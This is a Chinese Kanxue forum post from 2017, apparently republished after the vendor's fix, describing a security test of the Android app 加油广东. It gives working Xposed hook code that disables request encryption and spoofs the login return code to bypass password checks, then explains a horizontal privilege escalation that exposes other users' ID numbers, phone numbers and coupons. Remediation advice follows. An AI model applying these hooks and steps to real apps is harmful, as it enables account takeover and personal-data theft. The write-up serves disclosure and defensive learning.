看雪论坛
发新帖

[原创]记一次APP爆破登陆并平行越权实例及相关安全建议

jiaqq 2017-9-11 13:47 353
旧帖重发,之前发过 开发方要求删除给他们时间修复BUG,现在BUG已经修复了,发出来大家交流交流,有错误的地方请大神们指导修正

记一次APP爆破登陆并平行越权

APP名称:加油广东 APP版本:3.2

准备工具: DDMS,Fiddler,JEB 2.x,Android Studio

 

1.) 初始分析

先配置好抓包环境并挂上代理抓包

登录帐号: 1392411****密码:任意字符

出现下图

 


要求接短信验证码完善帐号信息,我们看看抓的登录包




双向传输密文,没有看到任何明文看看POST参数表

 


我们找别的请求看看 isencrypt 这个参数变化以后POST数据差异

 

可以看出isencrypt = 0则不通过RSA+AES交换数据

 

反编译看APP的流程:(APP360加固,需要先脱壳,这里略过不说)

 

看上图标注,

 

跳转到引用,可以看到是一个封装好的HttpRequestUtils工具类

继续深入packageLogin


继续往下看addEncryptFlag方法

 

为了方便理解,我修改了参数名称

 

 

 

到这里登录的加密流程已经分析完了,我们通过Hook实现强制禁用RSA+AES交换数据

 

if (Param.packageName.equals("com.sunboxsoft.oilforgdandroid")){ //coord: (0,18,33) | addr: Lnet/sourceforge/simcpux/httputils/HttpPackageParams;->addEncryptFlag(Ljava/util/Map;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Ljava/util/Map; | loc: ? Class<?> utils = XposedHelpers.findClass("net.sourceforge.simcpux.httputils.HttpPackageParams",Param.classLoader); findAndHookMethod(utils, "addEncryptFlag", Map.class, String.class, String.class, String.class, String.class, new XC_MethodHook() { @Override protected void beforeHookedMethod(MethodHookParam param) throws Throwable { super.beforeHookedMethod(param); HookUtils.asyncLogi(TAG,"replace isencrypt 0"); param.args[1] = "0"; } }); }




重启,让插件生效再次抓登录包,还是那个帐号密码:任意字符

 


发现虽然我们停留在登录页面并提示登录失败,但是服务器已经给我们返回了帐号信息

 

 

 


2) 爆破登录

 

我们返回HttpRequestUtils类的地方反向查找postLogin引用

 


4个引用,这里就不一个一个看了我们从view入手确定调用

DDMS Dump View Hierarchy

 


是个FrameLayout, 确定为引用3,点进去继续分析

 


因为网络状态是OK的,所以我们只看onSuccess

 

 

checkGroupNumLetter方法正则检查密码是否符合规则

 

看解登录包的地方

 


好了,逻辑分析完了开始登录吧还是那道菜:HOOK

 

findAndHookMethod(JSONObject.class, "getString",String.class, new XC_MethodHook() {
@Override
protected void afterHookedMethod(MethodHookParam param) throws Throwable {
super.afterHookedMethod(param);
String str = (String) param.args[0];
if (str.equals("retcode")){
HookUtils.asyncLogi(TAG,"JSONObject getStringretcode " + param.getResult());
if (((String)param.getResult()).equals("RM")){
param.setResult("RR");
}
}
}
});

 

 

重启,让插件生效、登录

帐号:还是那个密码:任意符合^(?![0-9]+$)(?![a-zA-Z]+$)[0-9A-Za-z]+$规则的字符

 

看登录结果

成功进入APP主页

 

资料页

 

 

优惠卷页:

 

 

 

3.) 平行越权

看电子卷的数据包

 

appuserid appsid gdsinopec-userid appsign 四个参数

其中appuserid = gdsinopec-userid处于登录返回userinfo

 

看源码appsid appsign实现:

 

可以看出这里面只有一个关键的userid参数

 

 

开始越权

 


成功取到优惠卷信息了.. - -

Over

 

 

 

总结:

影响范围:所有retcode = RM & msg = 会员密码为空的用户

泄漏:用户手机号、身份证号、油卡编号、优惠卷信息

 

安全建议:

1.服务器强制要求加密交换数据 isencrypt开关只建议用在debug 线上建议删除

2.删除不必要的返回数据

3.添加token避免越权

 

 

本文旨在技术交流,请勿用于他处谢谢

By:jiaqq02

QQ: 601865048

附上PDF



上传的附件:
本主题帖已收到 0 次赞赏,累计¥0.00
最新回复 (3)
mancong 2017-9-11 14:08
2
学习了,现在也正在学习分析app
MaYil 2017-9-11 18:53
3
感谢分享
vVv一 2017-9-11 19:51
4
学到好多东西    感谢
返回



©2000-2017 看雪学院 | Based on Xiuno BBS | 域名 加速乐 保护 | SSL证书 又拍云 提供 | 微信公众号:ikanxue
Time: 0.014, SQL: 10 / 京ICP备10040895号-17